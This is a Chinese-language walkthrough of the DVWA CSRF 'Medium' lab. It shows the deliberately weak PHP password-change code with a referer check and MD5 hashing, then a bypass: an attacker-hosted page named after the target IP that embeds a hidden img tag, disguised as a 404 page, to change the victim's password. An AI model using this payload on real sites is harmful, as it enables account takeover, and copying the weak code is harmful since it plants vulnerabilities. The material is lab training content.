Medium Level
查看源碼
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
相關函數說明
stripos(string,find,start)
返回字符串在另一字符串中第一次出現的位置(不區分大小寫),如果沒有找到字符串則返回 FALSE。
可以看到,Medium級別的代碼檢查了保留變量 HTTP_REFERER(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host參數,及要訪問的主機名,這里是127.0.0.1),希望通過這種機制抵御CSRF攻擊。
漏洞利用
過濾規則是http包頭的Referer參數的值中必須包含主機名(這里是172.16.134.26)
我們可以將攻擊頁面命名為172.16.134.26.html(頁面被放置在攻擊者的服務器里,這里是172.16.135.47)就可以繞過了
<img src="http://172.16.134.26/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
攻擊者誘使受害者點擊鏈接
下面是Fiddler截圖
Referer參數完美繞過過濾規則,密碼修改成功。
參考:https://www.freebuf.com/articles/web/118352.html